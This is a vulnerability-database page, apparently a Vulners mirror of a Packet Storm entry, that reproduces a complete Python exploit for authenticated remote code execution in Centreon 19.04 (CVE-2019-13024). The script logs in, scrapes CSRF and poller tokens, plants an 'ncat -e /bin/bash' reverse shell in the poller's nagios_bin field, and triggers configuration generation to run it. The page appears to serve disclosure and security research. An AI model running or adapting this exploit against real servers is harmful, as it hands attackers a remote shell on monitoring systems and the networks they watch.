Lucene search
K

Centreon 19.04 Remote Code Execution

🗓️ 02 Jul 2019 00:00:00Reported by AskarType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 108 Views

Centreon v19.04 Remote Code Execution, authenticated, CVE-2019-13024, CentOS 7.6 / PHP 5.4.16, poller token retrieval, payload injection, netcat listene

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Centreon 19.04 - Remote Code Execution Exploit #RCE
2 Jul 201900:00
zdt
GithubExploit
Exploit for Command Injection in Centreon
8 Nov 201916:46
githubexploit
CNVD
Centreon Arbitrary System Command Execution Vulnerability
2 Jul 201900:00
cnvd
Check Point Advisories
Centreon Nagios Path Command Injection (CVE-2019-13024)
31 Jul 201900:00
checkpoint_advisories
CVE
CVE-2019-13024
1 Jul 201918:17
cve
Cvelist
CVE-2019-13024
1 Jul 201918:17
cvelist
Exploit DB
Centreon 19.04 - Remote Code Execution
2 Jul 201900:00
exploitdb
exploitpack
Centreon 19.04 - Remote Code Execution
2 Jul 201900:00
exploitpack
NVD
CVE-2019-13024
1 Jul 201919:15
nvd
OSV
CVE-2019-13024
1 Jul 201919:15
osv
Rows per page
`#!/usr/bin/python  
  
'''  
# Exploit Title: Centreon v19.04 authenticated Remote Code Execution  
# Date: 28/06/2019  
# Exploit Author: Askar (@mohammadaskar2)  
# CVE : CVE-2019-13024  
# Vendor Homepage: https://www.centreon.com/  
# Software link: https://download.centreon.com  
# Version: v19.04  
# Tested on: CentOS 7.6 / PHP 5.4.16  
'''  
  
import requests  
import sys  
import warnings  
from bs4 import BeautifulSoup  
  
# turn off BeautifulSoup warnings  
warnings.filterwarnings("ignore", category=UserWarning, module='bs4')  
  
if len(sys.argv) != 6:  
print(len(sys.argv))  
print("[~] Usage : ./centreon-exploit.py url username password ip port")  
exit()  
  
url = sys.argv[1]  
username = sys.argv[2]  
password = sys.argv[3]  
ip = sys.argv[4]  
port = sys.argv[5]  
  
  
request = requests.session()  
print("[+] Retrieving CSRF token to submit the login form")  
page = request.get(url+"/index.php")  
html_content = page.text  
soup = BeautifulSoup(html_content)  
token = soup.findAll('input')[3].get("value")  
  
login_info = {  
"useralias": username,  
"password": password,  
"submitLogin": "Connect",  
"centreon_token": token  
}  
login_request = request.post(url+"/index.php", login_info)  
print("[+] Login token is : {0}".format(token))  
if "Your credentials are incorrect." not in login_request.text:  
print("[+] Logged In Sucssfully")  
print("[+] Retrieving Poller token")  
  
poller_configuration_page = url + "/main.get.php?p=60901"  
get_poller_token = request.get(poller_configuration_page)  
poller_html = get_poller_token.text  
poller_soup = BeautifulSoup(poller_html)  
poller_token = poller_soup.findAll('input')[24].get("value")  
print("[+] Poller token is : {0}".format(poller_token))  
  
payload_info = {  
"name": "Central",  
"ns_ip_address": "127.0.0.1",  
# this value should be 1 always  
"localhost[localhost]": "1",  
"is_default[is_default]": "0",  
"remote_id": "",  
"ssh_port": "22",  
"init_script": "centengine",  
# this value contains the payload , you can change it as you want  
"nagios_bin": "ncat -e /bin/bash {0} {1} #".format(ip, port),  
"nagiostats_bin": "/usr/sbin/centenginestats",  
"nagios_perfdata": "/var/log/centreon-engine/service-perfdata",  
"centreonbroker_cfg_path": "/etc/centreon-broker",  
"centreonbroker_module_path": "/usr/share/centreon/lib/centreon-broker",  
"centreonbroker_logs_path": "",  
"centreonconnector_path": "/usr/lib64/centreon-connector",  
"init_script_centreontrapd": "centreontrapd",  
"snmp_trapd_path_conf": "/etc/snmp/centreon_traps/",  
"ns_activate[ns_activate]": "1",  
"submitC": "Save",  
"id": "1",  
"o": "c",  
"centreon_token": poller_token,  
  
  
}  
  
send_payload = request.post(poller_configuration_page, payload_info)  
print("[+] Injecting Done, triggering the payload")  
print("[+] Check your netcat listener !")  
generate_xml_page = url + "/include/configuration/configGenerate/xml/generateFiles.php"  
xml_page_data = {  
"poller": "1",  
"debug": "true",  
"generate": "true",  
}  
request.post(generate_xml_page, xml_page_data)  
  
else:  
print("[-] Wrong credentials")  
exit()  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation